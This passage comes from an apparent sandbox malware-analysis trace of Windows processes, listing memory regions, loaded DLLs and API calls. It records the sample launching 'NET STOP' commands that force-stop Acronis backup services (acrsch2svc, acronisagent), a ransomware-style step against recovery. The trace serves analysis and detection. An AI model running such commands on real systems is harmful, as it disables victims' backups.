608 start_va = 0x74e00000 end_va = 0x74e3efff entry_point = 0x74e00000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 609 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 610 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 611 start_va = 0xf0000 end_va = 0x156fff entry_point = 0xf0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 612 start_va = 0x360000 end_va = 0x45ffff entry_point = 0x0 region_type = private name = "private_0x0000000000360000" filename = "" Region: id = 613 start_va = 0x751a0000 end_va = 0x751c1fff entry_point = 0x751a0000 region_type = mapped_file name = "logoncli.dll" filename = "\\Windows\\SysWOW64\\logoncli.dll" (normalized: "c:\\windows\\syswow64\\logoncli.dll") Region: id = 614 start_va = 0x751d0000 end_va = 0x751d8fff entry_point = 0x751d0000 region_type = mapped_file name = "dsrole.dll" filename = "\\Windows\\SysWOW64\\dsrole.dll" (normalized: "c:\\windows\\syswow64\\dsrole.dll") Region: id = 615 start_va = 0x75250000 end_va = 0x7525cfff entry_point = 0x75250000 region_type = mapped_file name = "browcli.dll" filename = "\\Windows\\SysWOW64\\browcli.dll" (normalized: "c:\\windows\\syswow64\\browcli.dll") Region: id = 616 start_va = 0x75260000 end_va = 0x75268fff entry_point = 0x75260000 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\SysWOW64\\netutils.dll" (normalized: "c:\\windows\\syswow64\\netutils.dll") Region: id = 617 start_va = 0x753a0000 end_va = 0x753abfff entry_point = 0x753a0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 618 start_va = 0x753b0000 end_va = 0x7540ffff entry_point = 0x753b0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 619 start_va = 0x75a20000 end_va = 0x75b2ffff entry_point = 0x75a20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 620 start_va = 0x75b30000 end_va = 0x75bcffff entry_point = 0x75b30000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 621 start_va = 0x75e30000 end_va = 0x75edbfff entry_point = 0x75e30000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 622 start_va = 0x762b0000 end_va = 0x762c8fff entry_point = 0x762b0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 623 start_va = 0x765f0000 end_va = 0x76635fff entry_point = 0x765f0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 624 start_va = 0x772d0000 end_va = 0x773bffff entry_point = 0x772d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 625 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x0 region_type = private name = "private_0x0000000077450000" filename = "" Region: id = 626 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x0 region_type = private name = "private_0x0000000077550000" filename = "" Region: id = 627 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 628 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 629 start_va = 0x75240000 end_va = 0x7524efff entry_point = 0x75240000 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\SysWOW64\\samcli.dll" (normalized: "c:\\windows\\syswow64\\samcli.dll") Region: id = 630 start_va = 0x75220000 end_va = 0x75238fff entry_point = 0x75220000 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\SysWOW64\\srvcli.dll" (normalized: "c:\\windows\\syswow64\\srvcli.dll") Region: id = 631 start_va = 0x75210000 end_va = 0x7521efff entry_point = 0x75210000 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\SysWOW64\\wkscli.dll" (normalized: "c:\\windows\\syswow64\\wkscli.dll") Region: id = 632 start_va = 0x75180000 end_va = 0x75190fff entry_point = 0x75180000 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\SysWOW64\\netapi32.dll" (normalized: "c:\\windows\\syswow64\\netapi32.dll") Region: id = 633 start_va = 0x75160000 end_va = 0x75171fff entry_point = 0x75160000 region_type = mapped_file name = "samlib.dll" filename = "\\Windows\\SysWOW64\\samlib.dll" (normalized: "c:\\windows\\syswow64\\samlib.dll") Region: id = 634 start_va = 0x75140000 end_va = 0x75157fff entry_point = 0x75140000 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\SysWOW64\\ntdsapi.dll" (normalized: "c:\\windows\\syswow64\\ntdsapi.dll") Region: id = 635 start_va = 0x764c0000 end_va = 0x764f4fff entry_point = 0x764c0000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 636 start_va = 0x77820000 end_va = 0x77825fff entry_point = 0x77820000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 637 start_va = 0x1c0000 end_va = 0x1cffff entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 638 start_va = 0x75130000 end_va = 0x75131fff entry_point = 0x75130000 region_type = mapped_file name = "netmsg.dll" filename = "\\Windows\\SysWOW64\\netmsg.dll" (normalized: "c:\\windows\\syswow64\\netmsg.dll") Thread: id = 11 os_tid = 0xa74 [0036.833] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x35fbd4 | out: lpSystemTimeAsFileTime=0x35fbd4*(dwLowDateTime=0xd7ce7160, dwHighDateTime=0x1d4abdd)) [0036.833] GetCurrentProcessId () returned 0xa70 [0036.833] GetCurrentThreadId () returned 0xa74 [0036.833] GetTickCount () returned 0x19a99 [0036.833] QueryPerformanceCounter (in: lpPerformanceCount=0x35fbcc | out: lpPerformanceCount=0x35fbcc*=1811206300000) returned 1 [0036.834] GetModuleHandleA (lpModuleName=0x0) returned 0x7f0000 [0036.834] __set_app_type (_Type=0x1) [0036.834] __p__fmode () returned 0x75ed31f4 [0036.834] __p__commode () returned 0x75ed31fc [0036.835] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7fffe6) returned 0x0 [0036.835] __getmainargs (in: _Argc=0x809064, _Argv=0x80906c, _Env=0x809068, _DoWildCard=0, _StartInfo=0x809024 | out: _Argc=0x809064, _Argv=0x80906c, _Env=0x809068) returned 0 [0036.835] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0036.835] GetConsoleOutputCP () returned 0x1b5 [0036.836] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x809080 | out: lpCPInfo=0x809080) returned 1 [0036.836] SetThreadUILanguage (LangId=0x0) returned 0x409 [0036.839] sprintf_s (in: _DstBuf=0x35fb8c, _DstSize=0xc, _Format=".%u" | out: _DstBuf=".437") returned 4 [0036.840] setlocale (category=0, locale=".437") returned="English_United States.437" [0036.842] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0036.842] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0036.842] GetCommandLineW () returned="C:\\Windows\\system32\\net1 STOP acrsch2svc /Y" [0036.842] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x35f958, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\net1.exe" (normalized: "c:\\windows\\syswow64\\net1.exe")) returned 0x1c [0036.842] _wcsnicmp (_String1="/Y", _String2="/Y", _MaxCount=0x2) returned 0 [0036.842] NetApiBufferAllocate (in: ByteCount=0x10, Buffer=0x35fb5c | out: Buffer=0x35fb5c*=0x371c08) returned 0x0 [0036.842] NetApiBufferAllocate (in: ByteCount=0x10, Buffer=0x35fb5c | out: Buffer=0x35fb5c*=0x371c20) returned 0x0 [0036.842] _fileno (_File=0x75ed2900) returned 0 [0036.842] _setmode (_FileHandle=0, _Mode=16384) returned 16384 [0036.843] _wcsicmp (_String1="accounts", _String2="STOP") returned -18 [0036.843] _wcsicmp (_String1="computer", _String2="STOP") returned -16 [0036.843] _wcsicmp (_String1="config", _String2="STOP") returned -16 [0036.843] _wcsicmp (_String1="continue", _String2="STOP") returned -16 [0036.843] _wcsicmp (_String1="cont", _String2="STOP") returned -16 [0036.843] _wcsicmp (_String1="file", _String2="STOP") returned -13 [0036.843] _wcsicmp (_String1="files", _String2="STOP") returned -13 [0036.843] _wcsicmp (_String1="group", _String2="STOP") returned -12 [0036.843] _wcsicmp (_String1="groups", _String2="STOP") returned -12 [0036.843] _wcsicmp (_String1="help", _String2="STOP") returned -11 [0036.843] _wcsicmp (_String1="helpmsg", _String2="STOP") returned -11 [0036.843] _wcsicmp (_String1="localgroup", _String2="STOP") returned -7 [0036.843] _wcsicmp (_String1="pause", _String2="STOP") returned -3 [0036.843] _wcsicmp (_String1="session", _String2="STOP") returned -15 [0036.843] _wcsicmp (_String1="sessions", _String2="STOP") returned -15 [0036.843] _wcsicmp (_String1="sess", _String2="STOP") returned -15 [0036.843] _wcsicmp (_String1="share", _String2="STOP") returned -12 [0036.843] _wcsicmp (_String1="start", _String2="STOP") returned -14 [0036.843] _wcsicmp (_String1="stats", _String2="STOP") returned -14 [0036.843] _wcsicmp (_String1="statistics", _String2="STOP") returned -14 [0036.843] _wcsicmp (_String1="stop", _String2="STOP") returned 0 [0036.843] _wcsicmp (_String1="accounts", _String2="acrsch2svc") returned -15 [0036.843] _wcsicmp (_String1="computer", _String2="acrsch2svc") returned 2 [0036.843] _wcsicmp (_String1="config", _String2="acrsch2svc") returned 2 [0036.843] _wcsicmp (_String1="continue", _String2="acrsch2svc") returned 2 [0036.843] _wcsicmp (_String1="cont", _String2="acrsch2svc") returned 2 [0036.843] _wcsicmp (_String1="file", _String2="acrsch2svc") returned 5 [0036.843] _wcsicmp (_String1="files", _String2="acrsch2svc") returned 5 [0036.843] _wcsicmp (_String1="group", _String2="acrsch2svc") returned 6 [0036.843] _wcsicmp (_String1="groups", _String2="acrsch2svc") returned 6 [0036.843] _wcsicmp (_String1="help", _String2="acrsch2svc") returned 7 [0036.844] _wcsicmp (_String1="helpmsg", _String2="acrsch2svc") returned 7 [0036.844] _wcsicmp (_String1="localgroup", _String2="acrsch2svc") returned 11 [0036.844] _wcsicmp (_String1="pause", _String2="acrsch2svc") returned 15 [0036.844] _wcsicmp (_String1="session", _String2="acrsch2svc") returned 18 [0036.844] _wcsicmp (_String1="sessions", _String2="acrsch2svc") returned 18 [0036.844] _wcsicmp (_String1="sess", _String2="acrsch2svc") returned 18 [0036.844] _wcsicmp (_String1="share", _String2="acrsch2svc") returned 18 [0036.844] _wcsicmp (_String1="start", _String2="acrsch2svc") returned 18 [0036.844] _wcsicmp (_String1="stats", _String2="acrsch2svc") returned 18 [0036.844] _wcsicmp (_String1="statistics", _String2="acrsch2svc") returned 18 [0036.844] _wcsicmp (_String1="stop", _String2="acrsch2svc") returned 18 [0036.844] _wcsicmp (_String1="time", _String2="acrsch2svc") returned 19 [0036.844] _wcsicmp (_String1="user", _String2="acrsch2svc") returned 20 [0036.844] _wcsicmp (_String1="users", _String2="acrsch2svc") returned 20 [0036.844] _wcsicmp (_String1="msg", _String2="acrsch2svc") returned 12 [0036.844] _wcsicmp (_String1="messenger", _String2="acrsch2svc") returned 12 [0036.844] _wcsicmp (_String1="receiver", _String2="acrsch2svc") returned 17 [0036.844] _wcsicmp (_String1="rcv", _String2="acrsch2svc") returned 17 [0036.844] _wcsicmp (_String1="netpopup", _String2="acrsch2svc") returned 13 [0036.844] _wcsicmp (_String1="redirector", _String2="acrsch2svc") returned 17 [0036.844] _wcsicmp (_String1="redir", _String2="acrsch2svc") returned 17 [0036.844] _wcsicmp (_String1="rdr", _String2="acrsch2svc") returned 17 [0036.844] _wcsicmp (_String1="workstation", _String2="acrsch2svc") returned 22 [0036.844] _wcsicmp (_String1="work", _String2="acrsch2svc") returned 22 [0036.844] _wcsicmp (_String1="wksta", _String2="acrsch2svc") returned 22 [0036.844] _wcsicmp (_String1="prdr", _String2="acrsch2svc") returned 15 [0036.844] _wcsicmp (_String1="devrdr", _String2="acrsch2svc") returned 3 [0036.844] _wcsicmp (_String1="lanmanworkstation", _String2="acrsch2svc") returned 11 [0036.844] _wcsicmp (_String1="server", _String2="acrsch2svc") returned 18 [0036.844] _wcsicmp (_String1="svr", _String2="acrsch2svc") returned 18 [0036.844] _wcsicmp (_String1="srv", _String2="acrsch2svc") returned 18 [0036.844] _wcsicmp (_String1="lanmanserver", _String2="acrsch2svc") returned 11 [0036.844] _wcsicmp (_String1="alerter", _String2="acrsch2svc") returned 9 [0036.844] _wcsicmp (_String1="netlogon", _String2="acrsch2svc") returned 13 [0036.844] _wcsupr (in: _String="acrsch2svc" | out: _String="ACRSCH2SVC") returned="ACRSCH2SVC" [0036.845] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x80000000) returned 0x375490 [0036.847] GetServiceKeyNameW (in: hSCManager=0x375490, lpDisplayName="ACRSCH2SVC", lpServiceName=0x80aaf0, lpcchBuffer=0x35faf8 | out: lpServiceName="", lpcchBuffer=0x35faf8) returned 0 [0036.847] _wcsicmp (_String1="msg", _String2="ACRSCH2SVC") returned 12 [0036.848] _wcsicmp (_String1="messenger", _String2="ACRSCH2SVC") returned 12 [0036.848] _wcsicmp (_String1="receiver", _String2="ACRSCH2SVC") returned 17 [0036.848] _wcsicmp (_String1="rcv", _String2="ACRSCH2SVC") returned 17 [0036.848] _wcsicmp (_String1="redirector", _String2="ACRSCH2SVC") returned 17 [0036.848] _wcsicmp (_String1="redir", _String2="ACRSCH2SVC") returned 17 [0036.848] _wcsicmp (_String1="rdr", _String2="ACRSCH2SVC") returned 17 [0036.848] _wcsicmp (_String1="workstation", _String2="ACRSCH2SVC") returned 22 [0036.848] _wcsicmp (_String1="work", _String2="ACRSCH2SVC") returned 22 [0036.848] _wcsicmp (_String1="wksta", _String2="ACRSCH2SVC") returned 22 [0036.848] _wcsicmp (_String1="prdr", _String2="ACRSCH2SVC") returned 15 [0036.848] _wcsicmp (_String1="devrdr", _String2="ACRSCH2SVC") returned 3 [0036.848] _wcsicmp (_String1="lanmanworkstation", _String2="ACRSCH2SVC") returned 11 [0036.848] _wcsicmp (_String1="server", _String2="ACRSCH2SVC") returned 18 [0036.848] _wcsicmp (_String1="svr", _String2="ACRSCH2SVC") returned 18 [0036.848] _wcsicmp (_String1="srv", _String2="ACRSCH2SVC") returned 18 [0036.848] _wcsicmp (_String1="lanmanserver", _String2="ACRSCH2SVC") returned 11 [0036.848] _wcsicmp (_String1="alerter", _String2="ACRSCH2SVC") returned 9 [0036.848] _wcsicmp (_String1="netlogon", _String2="ACRSCH2SVC") returned 13 [0036.848] NetServiceControl (in: servername=0x0, service="ACRSCH2SVC", opcode=0x0, arg=0x0, bufptr=0x35faf4 | out: bufptr=0x35faf4) returned 0x889 [0036.849] wcscpy_s (in: _Destination=0x80a4e8, _SizeInWords=0x104, _Source="NETMSG" | out: _Destination="NETMSG") returned 0x0 [0036.849] LoadLibraryW (lpLibFileName="NETMSG") returned 0x75130000 [0036.849] FormatMessageW (in: dwFlags=0x2a00, lpSource=0x75130000, dwMessageId=0x889, dwLanguageId=0x0, lpBuffer=0x80b338, nSize=0x800, Arguments=0x809dd8 | out: lpBuffer="The service name is invalid.\r\n") returned 0x1e [0036.852] GetFileType (hFile=0xb) returned 0x2 [0036.852] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x35fa14 | out: lpMode=0x35fa14) returned 1 [0036.852] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0x80b338*, nNumberOfCharsToWrite=0x1e, lpNumberOfCharsWritten=0x35fa34, lpReserved=0x0 | out: lpBuffer=0x80b338*, lpNumberOfCharsWritten=0x35fa34*=0x1e) returned 1 [0036.853] GetFileType (hFile=0xb) returned 0x2 [0036.853] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x35fa14 | out: lpMode=0x35fa14) returned 1 [0036.853] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0x7f16cc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x35fa34, lpReserved=0x0 | out: lpBuffer=0x7f16cc*, lpNumberOfCharsWritten=0x35fa34*=0x2) returned 1 [0036.853] _ultow (in: _Dest=0x889, _Radix=3537508 | out: _Dest=0x889) returned="2185" [0036.853] FormatMessageW (in: dwFlags=0x2800, lpSource=0x75130000, dwMessageId=0xdba, dwLanguageId=0x0, lpBuffer=0x80b338, nSize=0x800, Arguments=0x809dd8 | out: lpBuffer="More help is available by typing NET HELPMSG 2185.\r\n") returned 0x34 [0036.854] GetFileType (hFile=0xb) returned 0x2 [0036.854] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x35fa20 | out: lpMode=0x35fa20) returned 1 [0036.854] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0x80b338*, nNumberOfCharsToWrite=0x34, lpNumberOfCharsWritten=0x35fa40, lpReserved=0x0 | out: lpBuffer=0x80b338*, lpNumberOfCharsWritten=0x35fa40*=0x34) returned 1 [0036.854] GetFileType (hFile=0xb) returned 0x2 [0036.854] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x35fa20 | out: lpMode=0x35fa20) returned 1 [0036.854] WriteConsoleW (in: hConsoleOutput=0xb, lpBuffer=0x7f16cc*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x35fa40, lpReserved=0x0 | out: lpBuffer=0x7f16cc*, lpNumberOfCharsWritten=0x35fa40*=0x2) returned 1 [0036.855] NetApiBufferFree (Buffer=0x371c08) returned 0x0 [0036.855] NetApiBufferFree (Buffer=0x371c20) returned 0x0 [0036.855] GetCommandLineW () returned="C:\\Windows\\system32\\net1 STOP acrsch2svc /Y" [0036.855] exit (_Code=2) Process: id = "11" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x4ddbe000" os_pid = "0xa78" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x948" cmd_line = "C:\\Windows\\system32\\cmd.exe /c NET STOP acronisagent /Y" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea88" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 639 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 640 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 641 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 642 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 643 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 644 start_va = 0x150000 end_va = 0x18ffff entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 645 start_va = 0x2c0000 end_va = 0x3bffff entry_point = 0x0 region_type = private name = "private_0x00000000002c0000" filename = "" Region: id = 646 start_va = 0x4a750000 end_va = 0x4a79bfff entry_point = 0x4a750000 region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe") Region: id = 647 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 648 start_va = 0x77850000 end_va = 0x779cffff entry_point = 0x77850000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 649 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 650 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 651 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 652 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 653 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 654 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 655 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 656 start_va = 0x560000 end_va = 0x5dffff entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 657 start_va = 0x74d90000 end_va = 0x74d97fff entry_point = 0x74d90000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 658 start_va = 0x74da0000 end_va = 0x74dfbfff entry_point = 0x74da0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 659 start_va = 0x74e00000 end_va = 0x74e3efff entry_point = 0x74e00000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 660 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 661 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 662 start_va = 0x70000 end_va = 0xd6fff entry_point = 0x70000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 663 start_va = 0x780000 end_va = 0x87ffff entry_point = 0x0 region_type = private name = "private_0x0000000000780000" filename = "" Region: id = 664 start_va = 0x75260000 end_va = 0x75266fff entry_point = 0x75260000 region_type = mapped_file name = "winbrand.dll" filename = "\\Windows\\SysWOW64\\winbrand.dll" (normalized: "c:\\windows\\syswow64\\winbrand.dll") Region: id = 665 start_va = 0x753a0000 end_va = 0x753abfff entry_point = 0x753a0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 666 start_va = 0x753b0000 end_va = 0x7540ffff entry_point = 0x753b0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 667 start_va = 0x75410000 end_va = 0x754acfff entry_point = 0x75410000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 668 start_va = 0x756f0000 end_va = 0x757effff entry_point = 0x756f0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 669 start_va = 0x75a20000 end_va = 0x75b2ffff entry_point = 0x75a20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 670 start_va = 0x75b30000 end_va = 0x75bcffff entry_point = 0x75b30000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 671 start_va = 0x75e30000 end_va = 0x75edbfff entry_point = 0x75e30000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 672 start_va = 0x762b0000 end_va = 0x762c8fff entry_point = 0x762b0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 673 start_va = 0x762d0000 end_va = 0x762d9fff entry_point = 0x762d0000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 674 start_va = 0x765f0000 end_va = 0x76635fff entry_point = 0x765f0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 675 start_va = 0x772d0000 end_va = 0x773bffff entry_point = 0x772d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 676 start_va = 0x773c0000 end_va = 0x7744ffff entry_point = 0x773c0000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 677 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x0 region_type = private name = "private_0x0000000077450000" filename = "" Region: id = 678 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x0 region_type = private name = "private_0x0000000077550000" filename = "" Region: id = 679 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 680 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 681 start_va = 0x110000 end_va = 0x11ffff entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 682 start_va = 0x3c0000 end_va = 0x547fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003c0000" filename = "" Region: id = 683 start_va = 0x75d40000 end_va = 0x75e0bfff entry_point = 0x75d40000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 684 start_va = 0x76500000 end_va = 0x7655ffff entry_point = 0x76500000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 685 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 686 start_va = 0xe0000 end_va = 0xe1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 687 start_va = 0xf0000 end_va = 0xf0fff entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 688 start_va = 0x100000 end_va = 0x100fff entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 689 start_va = 0x5e0000 end_va = 0x760fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005e0000" filename = "" Region: id = 690 start_va = 0x880000 end_va = 0x1c7ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000880000" filename = "" Region: id = 691 start_va = 0x1c80000 end_va = 0x1fc2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001c80000" filename = "" Region: id = 692 start_va = 0x1fd0000 end_va = 0x229efff entry_point = 0x1fd0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Thread: id = 12 os_tid = 0xa7c [0036.998] GetSystemTimeAsFileTime (in: 